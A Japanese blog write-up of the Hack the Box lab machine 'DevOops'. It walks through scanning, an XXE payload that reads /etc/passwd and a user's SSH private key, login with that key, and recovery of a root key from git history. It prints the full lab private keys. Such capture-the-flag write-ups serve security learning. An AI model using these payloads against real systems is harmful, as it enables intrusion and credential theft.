【Hack the Box write-up】DevOops

June 27, 2020

はじめに

筆者は Hack the Box 初心者です。何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。さんぽし(@sanpo_shiho) | Twitter

cheat sheet

以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET

machine について

難易度は medium ですスクリーンショット 2020-06-27 13.16.52.png

nmap

kali@kali:~$ nmap -sC -sV 10.10.10.91
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-27 00:20 EDT
Nmap scan report for 10.10.10.91
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
|   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open  http    Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.26 seconds

gobuster

/feed (Status: 200) [Size: 546263]
/upload (Status: 200) [Size: 347]

みてみる

/feed はただの画像でした

/

スクリーンショット 2020-06-27 13.25.44.png

/upload

スクリーンショット 2020-06-27 13.48.45.png

upload してみる

適当な xml を upload します

<?xml version="1.0"?>
<item>
        <Author>sanposhiho</Author>
        <Subject>testes</Subject>
        <Content>testes</Content>
</item>

スクリーンショット 2020-06-27 14.09.53.png スクリーンショット 2020-06-27 14.10.23.png

upload したものを閲覧できるようになってます

local file inclusion

xml で良い感じに local file inclusion を試みます

https://gist.github.com/N1gh7m4r3-N1dh/a25dd8a9f6b7648561dfed50bb3b0620

<?xml version="1.0"?>
<!DOCTYPE lfi [
  <!ELEMENT lfi ANY>
  <!ENTITY boo SYSTEM
  "file:///etc/passwd">
]>
<item>
        <Author>sanposhiho</Author>
        <Subject>testes</Subject>
        <Content>&boo;</Content>
</item>

スクリーンショット 2020-06-27 14.15.25.png

成功ですね〜

秘密鍵を取れるか試します

<?xml version="1.0"?>
<!DOCTYPE lfi [
  <!ELEMENT lfi ANY>
  <!ENTITY boo SYSTEM
  "file:///home/roosa/.ssh/id_rsa">
]>
<item>
        <Author>sanposhiho</Author>
        <Subject>testes</Subject>
        <Content>&boo;</Content>
</item>

スクリーンショット 2020-06-27 14.24.55.png

取れましたこれを適当なファイルに保存して ssh します

kali@kali:~/results/10.10.10.91/exploit$ cat key
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7
9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J
R/R+exNggHuqsp8rrcHq96lbXtORy8SOliUjfspPsWfY7JbktKyaQK0JunR25jVk
v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4
9QIQQnoi6DP3+7ErQSd6QGTq5mCvszpnTUsmwFj5JRdhjGszt0zBGllsVn99O90K
m3pN8SN1yWCTal6FLUiuxXg99YSV0tEl0rfSUwIDAQABAoIBAB6rj69jZyB3lQrS
JSrT80sr1At6QykR5ApewwtCcatKEgtu1iWlHIB9TTUIUYrYFEPTZYVZcY50BKbz
ACNyme3rf0Q3W+K3BmF//80kNFi3Ac1EljfSlzhZBBjv7msOTxLd8OJBw8AfAMHB
lCXKbnT6onYBlhnYBokTadu4nbfMm0ddJo5y32NaskFTAdAG882WkK5V5iszsE/3
koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7
e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe
8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ
Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6
NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93
hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0
ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk
A3+XsGjUpXv9TMt8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw
agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BGIO86eqPkt/lHfD3R
KRSeBfzY4VotzatO5wNmIjfExqJY1lL2SOkoXL5wwZgiWPxD00jM4wUapxAF4r2v
vR7Gs1zJJuE4FpOlF6SFJQKBgHbHBHa5e9iFVOSzgiq2GA4qqYG3RtMq/hcSWzh0
8MnE1MBL+5BJY3ztnnfJEQC9GZAyjh2KXLd6XlTZtfK4+vxcBUDk9x206IFRQOSn
y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl
aw0tAoGAGkndihmC5PayKdR1PYhdlVIsfEaDIgemK3/XxvnaUUcuWi2RhX3AlowG
xgQt1LOdApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq
82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s=
-----END RSA PRIVATE KEY-----

kali@kali:~/results/10.10.10.91/exploit$ chmod 600 key
kali@kali:~/results/10.10.10.91/exploit$ ssh -i key [email protected]
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

135 packages can be updated.
60 updates are security updates.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

roosa@gitter:~$

PE

run-blogfeed.sh をみてみます

roosa@gitter:~$ cat run-blogfeed.sh
#/bin/bash

# TODO: replace with better script and run as blogfeed user which is restricted

cd /home/roosa/work/blogfeed/src
../run-gunicorn.sh

よくわかりません。run-gunicorn.sh をみてみます

roosa@gitter:~$ cat /home/roosa/work/blogfeed/run-gunicorn.sh
#!/bin/sh

export FLASK_APP=feed.py
export WERKZEUG_DEBUG_PIN=151237652
gunicorn -w 10 -b 0.0.0.0:5000 --log-file feed.log --log-level DEBUG --access-logfile access.log feed:app

特に変なところはなさそうなような…

log をみてみても特に変な部分はありませんでした。

その他のファイルをみてると

roosa@gitter:~/work/blogfeed$ find resources/
resources/
resources/integration
resources/integration/authcredentials.key

マシンの名前の通り DevOps を取り入れているようです authcredentials.key は

roosa@gitter:~/work/blogfeed$ cat resources/integration/authcredentials.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE
sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s
ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16
ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h
LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO
JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9
oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM
xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw
vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x
6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+
OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE
4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0
937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94
SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT
Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4
eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd
i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP
6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb
8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV
RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA
qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI
T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----

こんな感じです。これで root にそのまま ssh できる…？とか思いましたが無理でした。

他を色々みていると、あれ.git があるとなります linpeas やり忘れてたので気付いてませんでした。gitコマンドが使えるようです

roosa@gitter:~/work/blogfeed$ ls -la
total 28
drwxrwx--- 5 roosa roosa 4096 Jun 27 01:54 .
drwxrwxr-x 3 roosa roosa 4096 Mar 21  2018 ..
drwxrwx--- 8 roosa roosa 4096 Mar 26  2018 .git
-rw-rw---- 1 roosa roosa  104 Mar 19  2018 README.md
drwxrwx--- 3 roosa roosa 4096 Mar 19  2018 resources
-rwxrw-r-- 1 roosa roosa  180 Mar 21  2018 run-gunicorn.sh
drwxrwx--- 2 roosa roosa 4096 Mar 26  2018 src

git log をみてみると

roosa@gitter:~/work/blogfeed$ git log
commit 7ff507d029021b0915235ff91e6a74ba33009c6d
Author: Roosa Hakkerson <[email protected]>
Date:   Mon Mar 26 06:13:55 2018 -0400

    Use Base64 for pickle feed loading

commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
Author: Roosa Hakkerson <[email protected]>
Date:   Tue Mar 20 15:37:00 2018 -0400

    Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.

commit cec54d8cb6117fd7f164db142f0348a74d3e9a70
Author: Roosa Hakkerson <[email protected]>
Date:   Tue Mar 20 15:08:09 2018 -0400

    Debug support added to make development more agile.

commit ca3e768f2434511e75bd5137593895bd38e1b1c2
Author: Roosa Hakkerson <[email protected]>
Date:   Tue Mar 20 08:38:21 2018 -0400

    Blogfeed app, initial version.

commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
Author: Roosa Hakkerson <[email protected]>
Date:   Tue Mar 20 08:37:56 2018 -0400

    Gunicorn startup script

commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <[email protected]>
Date:   Mon Mar 19 09:33:06 2018 -0400

    reverted accidental commit with proper key

commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <[email protected]>
Date:   Mon Mar 19 09:32:03 2018 -0400

    add key for feed integration from tnerprise backend

commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
Author: Roosa Hakkerson <[email protected]>
Date:   Mon Mar 19 09:24:30 2018 -0400

    Initial commit

roosa@gitter:~/work/blogfeed$ git diff d387abf63e05c9628a59195cec9311751bdb283f 33e87c312c08735a02fa9c796021a4a3023129ad
diff --git a/resources/integration/authcredentials.key b/resources/integration/authcredentials.key
index 44c981f..f4bde49 100644
--- a/resources/integration/authcredentials.key
+++ b/resources/integration/authcredentials.key
@@ -1,28 +1,27 @@
 -----BEGIN RSA PRIVATE KEY-----
-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
+MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
+ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
+23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE
+sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s
+ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16
+ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h
+LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO
+JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9
+oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM
+xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw
+vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x
+6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+
+OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE
+4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0
+937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94
+SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT
+Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4
+eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd
+i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP
+6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb
+8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV
+RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA
+qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI
+T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
+bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
 -----END RSA PRIVATE KEY-----
-

途中で鍵が変更されています reverted accidental commit with proper keyと言っているので変更前が怪しいですね

変更前の key で ssh を試してみると

kali@kali:~/results/10.10.10.91/exploit$ ssh -i some_key [email protected]
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

135 packages can be updated.
60 updates are security updates.

Last login: Mon Mar 26 06:23:48 2018 from 192.168.57.1
root@gitter:~# ls

そのまま root の key だったようです

これで root.txt が取れます

終わりに

鍵が色々出てきてこのまま hydra で ssh のブルートフォースかな〜（めんどくさい）とか思ってましたがスッと root でよかった…